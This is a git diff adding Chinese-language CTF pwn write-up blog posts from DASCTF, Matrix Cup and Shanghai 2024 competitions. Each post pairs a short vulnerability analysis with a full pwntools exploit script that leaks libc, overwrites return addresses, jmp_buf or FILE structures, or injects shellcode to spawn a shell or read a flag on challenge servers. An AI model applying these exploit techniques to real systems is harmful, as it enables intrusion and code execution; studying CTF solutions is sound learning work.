diff --git a/source/_posts/dasjuly2024/SpringBoard.md b/source/_posts/dasjuly2024/SpringBoard.md new file mode 100644 index 0000000..f20a746 --- /dev/null +++ b/source/_posts/dasjuly2024/SpringBoard.md @@ -0,0 +1,74 @@ +--- +title: DASCTF 2024暑期挑战赛 - SpringBoard +date: 2024/7/28 14:10:00 +updated: 2024/7/28 14:10:00 +tags: + - noob +excerpt: 通过格式化字符串漏洞,利用libc泄露和oneGadget实现远程代码执行。 +--- + +## 文件属性 + +|属性 |值 | +|------|------| +|Arch |x64 | +|RELRO|Partial| +|Canary|off | +|NX |on | +|PIE |off | +|strip |no | +|libc |2.23-0ubuntu11.3| + +## 解题思路 + +{% note green fa-heart %} +感谢 *N0wayBack* 的脚本用以复现 +{% endnote %} + +简单的格式化字符串,可以执行5次漏洞,直接把函数返回地址写成oneGadget就可以 + +## EXPLOIT + +```python +from pwn import * +context.terminal = ['tmux','splitw','-h'] +GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' +EXE = './SpringBoard' + +def payload(lo:int): + global sh + if lo: + sh = process(EXE) + if lo & 2: + gdb.attach(sh) + else: + sh = remote('', 9999) + libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6') + + # payload 1, leak libc and stack + sh.sendlineafter(b'keyword', b'FLAG%6$pFLAG%9$p') + sh.recvuntil(b'FLAG') + stack = int(sh.recv(14), 16) - 0xd8 + success(GOLD_TEXT(f'Leak retStackAddr: {stack:#x}')) + sh.recvuntil(b'FLAG') + libcBase = int(sh.recv(14), 16) - 240 - libc.symbols['__libc_start_main'] + success(GOLD_TEXT(f'Leak libcBase: {libcBase:#x}')) + + # payload 2-5, write one gadget on ret addr + oneGadget = 0xf1247 + ogg = libcBase + oneGadget + sh.sendlineafter(b'keyword', f'%{stack & 0xffff}c%11$hn'.encode()) + sh.sendlineafter(b'keyword', f'%{ogg & 0xffff}c%37$hn'.encode()) + sh.sendlineafter(b'keyword', f'%{(stack + 2) & 0xffff}c%11$hn'.encode()) + sh.sendlineafter(b'keyword', f'%{(ogg >> 16) & 0xff}c%37$hhn'.encode()) + + sh.clean() + sh.interactive() +``` + +{% folding purple::... %} +~~非预期秒了~~ + + +{% endfolding %} + diff --git a/source/_posts/dasjuly2024/vhttp.md b/source/_posts/dasjuly2024/vhttp.md new file mode 100644 index 0000000..5e6780b --- /dev/null +++ b/source/_posts/dasjuly2024/vhttp.md @@ -0,0 +1,125 @@ +--- +title: DASCTF 2024暑期挑战赛 - vhttp +date: 2024/7/25 23:05:00 +updated: 2024/7/25 23:05:00 +tags: + - httpd + - setjmp +thumbnail: /assets/dasjuly2024/flagOnStack.png +excerpt: 通过栈溢出和jmp_buf利用成功读取flag.txt。 +--- + +## 文件属性 + +|属性 |值 | +|------|------| +|Arch |x64 | +|RELRO |Full | +|Canary|off | +|NX |on | +|PIE |off | +|strip |yes | +|libc |2.31-0ubuntu9.12| + +## 解题思路 + +程序实现了一个简单的http服务器,没有路径穿越符漏洞;不能直接打开目录下的flag.txt, +是由`strstr`拦截的;不能使用`%2F`这样的转义字符串,服务器不支持。那就逆一下程序, +对于输入的三元组和键值对来说,都没有什么bug。但是主函数里只取用了`content-length`这一个标头, +跟到解析请求资源的函数里,发现程序会按`content-length`读入这么多的字节数, +并且没有做限制。观察栈上结构,在输入的`buf`之上是用于`longjmp`的`jmp_buf`, +触发条件也有,因此尝试覆写之。程序通过特定字符串的判断,给了1次读取栈上内容的机会, +也给了`longjmp`的机会。 + +这道题采用了`fread`,不同于`read`,`fread`只有读取指定的长度后才会停止, +不像`read`只需要`send`结束就可以结束输入。那么就出现了一个问题: +`jmp_buf`的结构中RBP、RSP、RIP是受`fs:[0x30]`保护的,要想读取它们来解密`fs:[0x30]`就不能覆盖, +但是为了利用这个结构体却不能覆盖。难道要打rop?程序是没有返回的! +任何结果都是直接`exit`的。那么在栈上查找其他数据,发现还有一个`jmp_buf`: + +```c +struct jmp_buf { + size_t rbx; + size_t rbp; + size_t r12; + size_t r13; + size_t r14; + size_t r15; + size_t rsp; + size_t rip; + ... +}; +``` + +![one more jmp_buf](/assets/dasjuly2024/oneMoreJmpbuf.png) + +而这个`jmp_buf`是由程序使用了pthread库后创建线程带来的,其中的RBP是0, +那么RBP的位置可以直接获得`guard`(`fs:[0x30]`)的值,还可以获得一个主线程的栈地址。为了读取`flag.txt`, +我们需要想方设法在栈上留一个`&'flag.txt'`,三元组是保存在`bss`上的,content是保存在子线程的栈上的, +而这个栈帧的值我们是不知道的,只有标头键值对中的最后一组会留在主线程的栈上。 +那么只要最后写一个`flag.txt`的标头就可以做到,然后设置好RBP、RSP,将RIP设置为`0x401ec7`, +就可以让程序读取`flag.txt`并打印flag。 + +![flag on stack](/assets/dasjuly2024/flagOnStack.png) +{% note tip fa-circle-info %} +温馨提示:与上图不是一个进程 +{% endnote %} + +![jump to ...](/assets/dasjuly2024/jumpto.png) + +## EXPLOIT + +```python +from pwn import * +context.terminal = ['tmux','splitw','-h'] +context.arch = 'amd64' +GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' +EXE = './vhttp' + +def payload(lo:int): + global sh + if lo: + sh = process(EXE) + if lo & 2: + gdb.attach(sh, 'b *0x401dd1') + else: + sh = remote('node5.buuoj.cn', 27536) + elf = ELF(EXE) + + ADD_LINE = lambda s, cont: s + cont + '\r\n' + + base = ADD_LINE('', 'GET / HTTP/1.0') + base = ADD_LINE(base, 'content-length: {}') + base = ADD_LINE(base, 'flag.txt: 0') + base = ADD_LINE(base, '') + + toleak = base.format(512 + 0x100 + 8).encode() + sh.send(toleak) + + toleak = b'\r\nuser=newbew'.ljust(512 + 0x100) + b'LEAK PTR' + sh.send(toleak) # leak the jmp_buf from pthread + sh.recvuntil(b'LEAK PTR') + + encrypted = sh.recv(8) + stack = u64(sh.recv(6) + b'\0\0') + + guard = 0 + PTR_DEMANGLE = lambda reg: ((reg >> 17) | ((reg & 0x1ffff) << (64 - 17))) ^ guard + PTR_MANGLE = lambda reg: (((reg ^ guard) & 0x7fffffffffff) << 17) \ + | (((reg ^ guard) & 0xffff800000000000) >> 64 - 17) + + guard = PTR_DEMANGLE(u64(encrypted)) + success(f'Leak ptr guard: {guard:#x}') + success(GOLD_TEXT(f'Leak stack: {stack:#x}')) + + rbp = stack - 0xe + 0xe0 # now rbp points to &'flag.txt' + rbp += 0x3a0 # now rbp is "resolved file path" + tojump = b'&pass=v3rdant'.ljust(0x200) + p64(0) + p64(PTR_MANGLE(rbp)) + \ + p64(0) * 4 + p64(PTR_MANGLE(rbp - 0x3e0)) + p64(PTR_MANGLE(0x401ec7)) + tojump = tojump.ljust(0x308) + sh.send(tojump) + + sh.recvuntil(b'DASCTF{') + flag = b'DASCTF{' + sh.recvuntil(b'}') + success(flag.decode()) +``` diff --git a/source/_posts/matrix2024/NoteManager.md b/source/_posts/matrix2024/NoteManager.md new file mode 100644 index 0000000..d3f0e4b --- /dev/null +++ b/source/_posts/matrix2024/NoteManager.md @@ -0,0 +1,171 @@ +--- +title: 矩阵杯2024 - NoteManager +date: 2024/7/27 16:30:00 +updated: 2024/7/27 16:30:00 +tags: + - linked list + - House of Apple 2 + - libc2.35 +thumbnail: /assets/matrix2024/notedel.png +excerpt: 通过链表的UAF漏洞,利用哈希碰撞和字符串长度差异,成功泄露libc和heap地址并获得shell。 +--- + +## 文件属性 + +|属性 |值 | +|------|------| +|Arch |x64 | +|RELRO |Full | +|Canary|on | +|NX |on | +|PIE |on | +|strip |yes | +|libc |2.35-0ubuntu3.7| + +## 解题思路 + +经典菜单题,但是有一个头节点作为“全局变量”,使用链表来存放各个节点。 +判断两个节点是否相同有2个方法:比较哈希值和字符串内容。审计代码不难发现, +在删除节点时如果存在两个相同节点,就能产生uaf(以下配图暂时忽略哈希机制) + +![note delete](/assets/matrix2024/notedel.png) + +除了在新增时使用哈希和`strcmp`同时判断,其余操作只判断哈希是否相同, +那么如何找到一个哈希相同,而`strcmp`也相同的两个字符串呢? + +> 一开始我的想法是哈希碰撞,爆了一晚上没爆出来,早上起来想到肯定不是这么做的 + +再次审计代码,发现有漏洞可循: + +```c +... + // 读入title时长度是原长 + pcVar2 = fgets(title,0x100,stdin); +... + // 计算哈希时长度是原长 + hasher = hash(title); + for (cnote = *gnote; cnote != NULL; cnote = cnote->prev) { + // 判断strcmp时用的是原长 + if ((cnote->hash == hasher) && (iVar1 = strcmp(cnote->title,title), iVar1 == 0)) { +... + // 但是做字符串拷贝的时候只取了0x1f长 + strncpy((char *)note,title,0x1f); +... +``` + +由此可以得知,只要输入长度超过31的字符串,那么输入时就不会被判为相同, +同时它们的哈希值也是一样的,那么我们就能构造出上图的条件做uaf了 + +有了uaf就可以考虑怎么泄露了。首先输入的内容长度可以达到0x1000, +而稍后使用的`strdup`实际上会调用`malloc`产生chunk,size就是输入内容的长度, +因此可以很轻松地得到libc和heap基地址 + +最后起一个shell,用House of Apple 2打FSOP即可 + +> 一开始用onegadget,结果试了一圈都不行 + +edit时使用`strcpy`,所以需要一个`\0`一个`\0`地写 + +此外在造成uaf利用后,无法再写入2+个堆块,而想要利用uaf则需要2个堆块, +因此应一口气分配好相关堆块,最后利用uaf。以下是图示 + +![note add warning](/assets/matrix2024/noteadd.png) + +## EXPLOIT + +```python +from pwn import * +context.terminal = ['tmux','splitw','-h'] +GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' +EXE = './NoteManager' + +def payload(lo:int): + global sh + if lo: + sh = process(EXE) + if lo & 2: + gdb.attach(sh) + else: + sh = remote('', 9999) + libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.7_amd64/libc.so.6') + elf = ELF(EXE) + + def addn(title:bytes, cont:bytes): + sh.sendlineafter(b'Choose', b'1') + sh.sendlineafter(b'title', title) + sh.sendlineafter(b'content', cont) + + def deln(title:bytes): + sh.sendlineafter(b'Choose', b'2') + sh.sendlineafter(b'title', title) + + def edit(title:bytes, cont:bytes): + sh.sendlineafter(b'Choose', b'3') + sh.sendlineafter(b'title', title) + sh.sendlineafter(b'content', cont) + + def show() -> bytes: + sh.sendlineafter(b'Choose', b'4') + sh.recvuntil(b'option: ') + return sh.recvuntil(b'NoteManager', True) + + def eout(): + sh.sendlineafter(b'Choose', b'5') + + PROTECT_PTR = lambda pos, ptr: (pos >> 12) ^ ptr + + addn(b'root', b'!') + addn(b'fake file', b't'*0x100) + addn(b'0'*33, b'x'*0x18) + addn(b'0'*33, b'x'*0x500) + addn(b'1'*33, b'x'*0x28) # guard chunk to prevent 0x500-size chunk being merged + addn(b'1'*33, b'x') + addn(b'head', b'head') + deln(b'0'*33) + val = show() + + # look for 4rd Title + idx = val.find(b'Title: ', 5) + idx = val.find(b'Title: ', idx + 5) + idx = val.find(b'Title: ', idx + 5) + heapBase = u64(val[idx + 7:idx + 12] + b'\0\0\0') << 12 + success(GOLD_TEXT(f'Leak heapBase: {hex(heapBase)}')) + + arena = 0x21ac80 + idx = val.find(b'Content: ', idx) + mainArena = u64(val[idx + 9:idx + 15] + b'\0\0') - 0x60 # sub unsorted bin offset + libcBase = mainArena - arena + libc.address = libcBase + oneGadget = libcBase + 0x10d9c2 + success(GOLD_TEXT(f'Leak libcBase: {hex(libcBase)}')) + + def write0(content:bytes, offset:int): + for leng, b in enumerate(content): + if b == 0: + break + for i in range(7, leng, -1): + edit(b'fake file', b'0'*(offset + i) + b'\0') + edit(b'fake file', b'0'*offset + content) + + write0(p64(heapBase + 0x360), 0xe0) + write0(p64(libc.symbols['_IO_wfile_jumps']), 0xd8) + write0(p64(0), 0xc0) + write0(p64(heapBase + 0x360), 0xa0) + write0(p64(libc.symbols['system']), 0x68) + write0(p64(0), 0x30) + write0(p64(1), 0x28) + write0(p64(0), 0x20) + write0(p64(0), 0x18) + write0(b' sh;\0', 0) + + deln(b'root') + deln(b'1'*33) + edit(b'1'*33, p64(PROTECT_PTR(heapBase + 0x9c0, libc.symbols['_IO_list_all']))) + addn(b'adjusting', b'x') + addn(b'more adjust', p64(heapBase + 0x360)) + + eout() + sh.clean() + sh.interactive() +``` + diff --git a/source/_posts/matrix2024/fshell.md b/source/_posts/matrix2024/fshell.md new file mode 100644 index 0000000..2e4766b --- /dev/null +++ b/source/_posts/matrix2024/fshell.md @@ -0,0 +1,149 @@ +--- +title: 矩阵杯2024 - fshell +date: 2024/7/25 17:19:00 +updated: 2024/7/25 17:19:00 +tags: + - float number + - shellcode +thumbnail: /assets/matrix2024/imhex.png +excerpt: 通过暴力打表获取浮点数对应的输入,利用mprotect实现shellcode执行,成功获取shell。 +--- + +{% note %} +你知道 IEEE754 吗 +{% endnote %} + +## 文件属性 + +|属性 |值 | +|------|------| +|Arch |x32 | +|RELRO|Partial| +|Canary|off | +|NX |on | +|PIE |off | +|strip |yes | +|libc |static| + +## 解题思路 + +和刚打完的上海赛差不多 + +程序里貌似带了花指令,去花后是菜单题。要做其他操作,需要先login + +> 32位程序静态编译还去符号,好多函数一眼都看不出来 + +login中需要输入用户名和密码,就是2个`strcmp`的事情,用户是`user`, +密码在输入后做凯撒密码,偏移为9,需要注意的是程序初始化时加密了`password`,偏移是8 + +回到主菜单,发现在输入6时触发了`mprotect`,再看decrypt的语句下面还有一串奇怪的逻辑,跟一下 + +```c +... + if ((char)susch == '\0') { + *(int *)((int)piVar1 + -0x10) = (offset % 0xc + 5) * 0xc; + *(undefined4 *)((int)piVar1 + -0x14) = 0x804a5a1; + sus(); + } + ... + void sus(int offset) { + ... + while ((i < 0x16 && (scan != 0))) { + scan = scanf("%d",&val); + calc = (float)((long double)val / (long double)offset); + if (*(byte *)((int)&calc + 3) < 0x4b) break; + *(float *)(FUN_08105300 + i * 4) = calc; + i += 1; + } + FUN_08105300(); +... +} +``` + +先回到`main`的逻辑上,输入3输入`offset`,进入`sus`时将`(offset % 0xc + 5) * 0xc`作为参数, +即 **60** ;然后`scanf("%20s", buf)`通过输入20个字符可以触发off-by-null覆写 `susch` 为0, +进入`sus`函数;但是函数`FUN_08105300`在bss上,不可执行,而通过输入6可以mprotect bss为可执行 + +可以看到`sus`又是除法写shellcode,考虑到正推准确性不足,直接打表 + +```c tab.c +// gcc -o tab -m32 tab.c +#include + +int main(void) { + int tmp; + for (int i = 0; i < 4096; i++) { + char file[20]; + snprintf(file, 20, "data/table%04d", i); + FILE *tab = fopen(file, "wb"); + for (int j = 0; j < 1048576; j++) { + long double x = (long double)((unsigned int)(i << 20) | j)/(long double)60; + *(float *)&tmp = (float)x; + fwrite(&tmp, 1, 4, tab); + } + fclose(tab); + } +} +// mkdir data && ./tab +// cd data && cat * > ../table && cd .. && rm -rf data +``` + +`sus`中还要求输入的shellcode每4个字节中的最后一个字节需要**大于**等于0x46 + +然后放到ImHex里面爆搜找shellcode,将需要的shellcode的地址除以4(shellcode与4对齐) +便是随后需要输入的数字 + +![imhex](/assets/matrix2024/imhex.png) + +先看一眼进入函数时的寄存器布局 + +![regs](/assets/matrix2024/regs.png) + +原地构造read再把`execve("/bin/sh", 0, 0)`写上去比较好 + +## EXPLOIT + +```python +from pwn import * +context.terminal = ['tmux','splitw','-h'] +GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' +EXE = './fshell' + +def payload(lo:int): + global sh + if lo: + sh = process(EXE) + if lo & 2: + gdb.attach(sh, 'b *0x804a209\nc') + else: + sh = remote('pwn-89e38f258e.challenge.xctf.org.cn', 9999, ssl=True) + elf = ELF(EXE) + + # login first + sh.sendlineafter(b'@@', b'1') + sh.sendlineafter(b'username', b'user') + sh.sendlineafter(b'password', b'ozrrvnqc') + + # mprotect to make bss executable + sh.sendlineafter(b'@@', b'6') + + # decrypt + sh.sendlineafter(b'@@', b'3') + sh.sendlineafter(b'offset', b'0') + sh.sendlineafter(b'string', b'0'*20) # overflow: off-by-null, trigger sus + + # read(0, 0x8105300, 0x50) + nums = [0x7B33AA88 // 4, # push eax; push 0x3; dec ebx + 0xC363B208 // 4, # pop eax; push 0x50; dec ebx + 0xD073C400 // 4, # pop edx; pop ecx; pop esi; dec ebx + 0x7863B7A8 // 4, # pop esi; push 0; dec ebx + 0xF1810A00 // 4, # pop ebx; int 0x80; dec ebx + 0] # exit number input + for num in nums: + sh.sendline(str(num).encode()) + sleep(0.5) # wait for shellcode read + sh.sendline(b'0'*19 + asm(shellcraft.sh())) + + sh.clean() + sh.interactive() +``` diff --git a/source/_posts/shanghai2024/awd.md b/source/_posts/shanghai2024/awd.md new file mode 100644 index 0000000..09d042f --- /dev/null +++ b/source/_posts/shanghai2024/awd.md @@ -0,0 +1,86 @@ +--- +title: 磐石行动高校赛2024 - AWD +date: 2024/7/25 16:39:00 +updated: 2024/7/25 16:39:00 +tags: + - awd +thumbnail: /images/shanghai2024awd.jpg +excerpt: 首次线下参赛未获分数但获得保底三等奖,揭示了靶机漏洞及利用技巧。 +--- + +第一次线下参加awd比赛,手忙脚乱的,一分也没拿,最后吃了保底三等奖:( + +{% notel green fa-circle-info 网上不会说的背景信息 %} +1. 靶机分为4台,分别有4个服务,2web,2pwn,有独立ip +2. 不给密码给私钥,需要通过私钥连靶机,由于ssh对安全要求高,需要将密钥权限设为 **0400** +3. 给的靶机内核极老,是3.10还是3.15 +4. 系统里没有挂载procfs,所以ps是看不了的 +5. patch脚本要熟练,对手不会时间给你看题,特别是web +{% endnotel %} + +## 第一题 + +找到2个洞:`scanf`溢出写和`snprintf`格式化字符串漏洞 + +![scanf](/assets/shanghai2024/0pwn1.png) +![snprintf](/assets/shanghai2024/0pwn2.png) + +{% folding cyan::个人的失败脚本 %} +本地打通了,结果远程打不通 + +```python +from pwn import * +context.terminal = ['tmux','splitw','-h'] +GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' +EXE = './0pwn' + +def payload(lo:int): + global sh + if lo: + sh = process(EXE) + if lo & 2: + gdb.attach(sh) + else: + sh = remote('10.103.5.4', 8888) + libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.31-0ubuntu9.15_amd64/libc.so.6') + elf = ELF(EXE) + + sh.sendlineafter(b'$', b'Init') + sh.sendlineafter(b'Size', str(0x40).encode()) + for i in range(0x40): + sh.sendlineafter(b'char', b'|') + sh.sendlineafter(b'weight', b'1') + + def fmt_attack(fmt:bytes): + sh.sendlineafter(b'$', b'Encode') + sh.sendlineafter(b'length', str(0xa0).encode()) + sh.sendlineafter(b'Input', '|'.join(fmt).encode()) + + fmt_attack(f'%{0x50 + 5}$p' + '0'*0x30) + + fmt_attack(f'%{1}$p') + sh.recvuntil(b'characters:\n') + dest = int(sh.recvline(), 16) & 0xffffffffff00 + info(hex(dest)) + + fmt_attack(f'%{0x5d + 5}$hhn') + fmt_attack(f'%{0xc0}c%{dest_arg}$hhn') + fmt_attack(f'%c%{0x5d + 5}$hhn') + fmt_attack(f'%{0x52}c%{dest_arg}$hhn') + fmt_attack(f'%2c%{0x5d + 5}$hhn') + fmt_attack(f'%{0x40}c%{dest_arg}$hn') + fmt_attack(f'%4c%{0x5d + 5}$hhn') + fmt_attack(f'%{dest_arg}$hn') + fmt_attack(f'%{(dest - stack) // 8 + 0x57}$s') + + sh.interactive() +``` +{% endfolding %} + +## 第二题 + +也找到2个洞:`add`没有`\0`截断导致的地址泄露和`change`中的堆块越界写 + +![add](/assets/shanghai2024/1pwn1.png) +![change](/assets/shanghai2024/1pwn2.png) + diff --git a/source/_posts/shanghai2024/box.md b/source/_posts/shanghai2024/box.md new file mode 100644 index 0000000..230a522 --- /dev/null +++ b/source/_posts/shanghai2024/box.md @@ -0,0 +1,73 @@ +--- +title: 磐石行动高校赛2024 初赛 - 推箱子 +date: 2024/7/25 11:17:00 +updated: 2024/7/25 11:17:00 +tags: + - noob +excerpt: 通过推箱子小游戏引发缓冲区溢出,利用ROP攻击获取shell。 +--- + +{% note %} +小明写了一个推箱子小游戏,但有一点小问题。 +{% endnote %} + +## 文件属性 + +|属性 |值 | +|------|------| +|Arch |x64 | +|RELRO|Partial| +|Canary|off | +|NX |on | +|PIE |off | +|strip |no | +|libc |2.27-3ubuntu1.6| + +## 解题思路 + +简单的推箱子游戏,要求把箱子推到指定位置,完成后可以输入数据。 +输入的长度的执行步骤的次数,可以通过 sw 这样的无效动作来刷高次数,从而引发缓冲区溢出, +打常规rop即可。 + +## EXPLOIT + +```python +from pwn import * +context.terminal = ['tmux','splitw','-h'] +GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' +EXE = './game' + +def payload(lo:int): + global sh + if lo: + sh = process(EXE) + if lo & 2: + gdb.attach(sh) + else: + sh = remote('222.67.132.186', 21956) + libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6') + elf = ELF(EXE) + + def genKey(leng:int) -> bytes: + key = 'ddwwwwssdwwssassdwwwsssdww' # a right path to push boxes + extend = key[:-2] + 'sw' * ((leng - len(key)) // 2) + key[-1] + return extend.encode() + + gadgets = ROP(elf) + ret = gadgets.ret.address + rdi = gadgets.rdi.address + sh.sendafter(b'move', genKey(0x5a0)) + sh.sendafter(b'name:', b'0'*0x578 + p64(rdi) + p64(elf.got['puts']) + + p64(elf.plt['puts']) + p64(elf.symbols['main'])) + + putsLibc = u64(sh.recvline()[:6] + b'\0\0') + libc.address = putsLibc - libc.symbols['puts'] + success(GOLD_TEXT(f'Leak libcBase: {libc.address:#x}')) + + sh.sendafter(b'move', genKey(0x5a0)) + sh.sendafter(b'name:', b'0'*0x578 + p64(rdi) + p64(next(libc.search(b'/bin/sh'))) + + p64(ret) + p64(libc.symbols['system'])) + + sh.clean() + sh.interactive() +``` diff --git a/source/_posts/shanghai2024/scflaot.md b/source/_posts/shanghai2024/scflaot.md new file mode 100644 index 0000000..1132636 --- /dev/null +++ b/source/_posts/shanghai2024/scflaot.md @@ -0,0 +1,137 @@ +--- +title: 磐石行动高校赛2024 初赛 - scflaot +date: 2024/7/25 11:42:00 +updated: 2024/7/25 11:42:00 +tags: + - float number + - shellcode +thumbnail: /assets/shanghai2024/table.png +excerpt: 通过暴力打表获取浮点数对应的输入,利用可用的`writev`和`openat`实现shellcode执行,最终获取flag。 +--- + +{% note %} +你是否晓得你的幸运数字呢 +{% endnote %} + +~~float, 肯定是没打对~~ + +## 文件属性 + +|属性 |值 | +|------|------| +|Arch |x64 | +|RELRO |Full | +|Canary|on | +|NX |on | +|PIE |on | +|strip |yes | +|libc |2.23-0ubuntu3| + +## seccomp rules + + + +## 解题思路 + +没禁`writev`和`openat`,可以打这俩 + +程序每次读入一个int,然后将其除以2024后放入shellcode区。 +共读取0x1000次,并跳转到`0x603ff8`执行,这意味着我们还需要跳回前面 + +一开始考虑将shellcode乘以2024再输入,结果发现这样做数据完全不准,直接暴力打表 + +```c tab.c +// gcc -O2 tab.c && a.out +#include + +int main(void) { + FILE *tab = fopen("table", "wb"); + int tmp; + for (int i = 0; i < 4096; i++) { + for (int j = 0; j < 1048576; j++) { + *(float *)&tmp = (float)((unsigned int)(i << 20) | j) / 2024.0f; + fwrite(&tmp, 1, 4, tab); + } + fflush(tab); + } +} +``` + +这样一来,当输入数字为`idx`时,通过访问文件中的`idx * 4:idx * 4 + 4`可以获知最后放入 +shellcode 区的真正数字。然后再准备shellcode,转换为16进制后放到imhex里面爆搜, +就可以根据地址反推输入的数字 + +![brute force](/assets/shanghai2024/table.png) + +书签上对应的指令与以下脚本中的地址一一对应 + +图中指令:使rdx变为0x600000,然后跳转过去,再执行一次read,读入任意shellcode + +## EXPLOIT + +```python +from pwn import * +from rich.progress import track +context.terminal = ['tmux','splitw','-h'] +context.arch = 'amd64' +GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' +EXE = './main' + +def payload(lo:int): + global sh + if lo: + sh = process(EXE) + if lo & 2: + gdb.attach(sh) + else: + sh = remote('222.67.132.186', 24026) + + sh.sendlineafter(b'input', b'1') + sh.recvuntil(b'number') # get into code_input + + table = {0xffe: 0xcfbad200 // 4, 0xfff: 0x381598 // 4, + 0: 0x6ddbcc00 // 4, 1: 0x1070044 // 4} + for i in track(range(0x1000), 'sending ints'): + sh.sendline(str(table.get(i, 0)).encode()) + + sh.sendlineafter(b'input', b'2') + sleep(0.5) + code = ''' + /* openat(0, "/flag", 0, 0) */ + mov rbx, 0x67616c662f + push rbx + push rsp + pop rsi + xor edi, edi + xor r10, r10 + xor edx, edx + push 0x101 + pop rax + syscall + + /* read(rax, 0x601000, 0x50) */ + push rax + pop rdi + xor eax, eax + mov rsi, 0x601000 + mov rdx, 0x50 + syscall + + /* writev(1, &[0x601000, rax], 1) */ + push 1 + pop rdi + push 0x1 /* iov size */ + pop rdx + push rax + push rsi + mov rsi, rsp + push 0x14 + pop rax + syscall + ''' + sh.sendline(b'0'*7 + asm(code)) + + sh.recvuntil(b'flag{') + flag = b'flag{' + sh.recvuntil(b'}') + success(f'Flag is: {flag.decode()}') +``` diff --git a/source/assets/dasjuly2024/flagOnStack.png b/source/assets/dasjuly2024/flagOnStack.png new file mode 100644 index 0000000..5e6b942 Binary files /dev/null and b/source/assets/dasjuly2024/flagOnStack.png differ diff --git a/source/assets/dasjuly2024/jumpto.png b/source/assets/dasjuly2024/jumpto.png new file mode 100644 index 0000000..6e5f998 Binary files /dev/null and b/source/assets/dasjuly2024/jumpto.png differ diff --git a/source/assets/dasjuly2024/oneMoreJmpbuf.png b/source/assets/dasjuly2024/oneMoreJmpbuf.png new file mode 100644 index 0000000..384b03a Binary files /dev/null and b/source/assets/dasjuly2024/oneMoreJmpbuf.png differ diff --git a/source/assets/dasjuly2024/unexpected.png b/source/assets/dasjuly2024/unexpected.png new file mode 100644 index 0000000..7493dfc Binary files /dev/null and b/source/assets/dasjuly2024/unexpected.png differ diff --git a/source/assets/matrix2024/imhex.png b/source/assets/matrix2024/imhex.png new file mode 100644 index 0000000..12988ae Binary files /dev/null and b/source/assets/matrix2024/imhex.png differ diff --git a/source/assets/matrix2024/noteadd.png b/source/assets/matrix2024/noteadd.png new file mode 100644 index 0000000..40c7015 Binary files /dev/null and b/source/assets/matrix2024/noteadd.png differ diff --git a/source/assets/matrix2024/notedel.png b/source/assets/matrix2024/notedel.png new file mode 100644 index 0000000..3f3c52e Binary files /dev/null and b/source/assets/matrix2024/notedel.png differ diff --git a/source/assets/matrix2024/regs.png b/source/assets/matrix2024/regs.png new file mode 100644 index 0000000..181cc5b Binary files /dev/null and b/source/assets/matrix2024/regs.png differ diff --git a/source/assets/shanghai2024/0pwn1.png b/source/assets/shanghai2024/0pwn1.png new file mode 100644 index 0000000..bda5e24 Binary files /dev/null and b/source/assets/shanghai2024/0pwn1.png differ diff --git a/source/assets/shanghai2024/0pwn2.png b/source/assets/shanghai2024/0pwn2.png new file mode 100644 index 0000000..319d568 Binary files /dev/null and b/source/assets/shanghai2024/0pwn2.png differ diff --git a/source/assets/shanghai2024/1pwn1.png b/source/assets/shanghai2024/1pwn1.png new file mode 100644 index 0000000..8adce93 Binary files /dev/null and b/source/assets/shanghai2024/1pwn1.png differ diff --git a/source/assets/shanghai2024/1pwn2.png b/source/assets/shanghai2024/1pwn2.png new file mode 100644 index 0000000..63f9b05 Binary files /dev/null and b/source/assets/shanghai2024/1pwn2.png differ diff --git a/source/assets/shanghai2024/seccomp.png b/source/assets/shanghai2024/seccomp.png new file mode 100644 index 0000000..a4be50d Binary files /dev/null and b/source/assets/shanghai2024/seccomp.png differ diff --git a/source/assets/shanghai2024/table.png b/source/assets/shanghai2024/table.png new file mode 100644 index 0000000..049bbf7 Binary files /dev/null and b/source/assets/shanghai2024/table.png differ diff --git a/source/images/shanghai2024awd.jpg b/source/images/shanghai2024awd.jpg new file mode 100644 index 0000000..db8a870 Binary files /dev/null and b/source/images/shanghai2024awd.jpg differ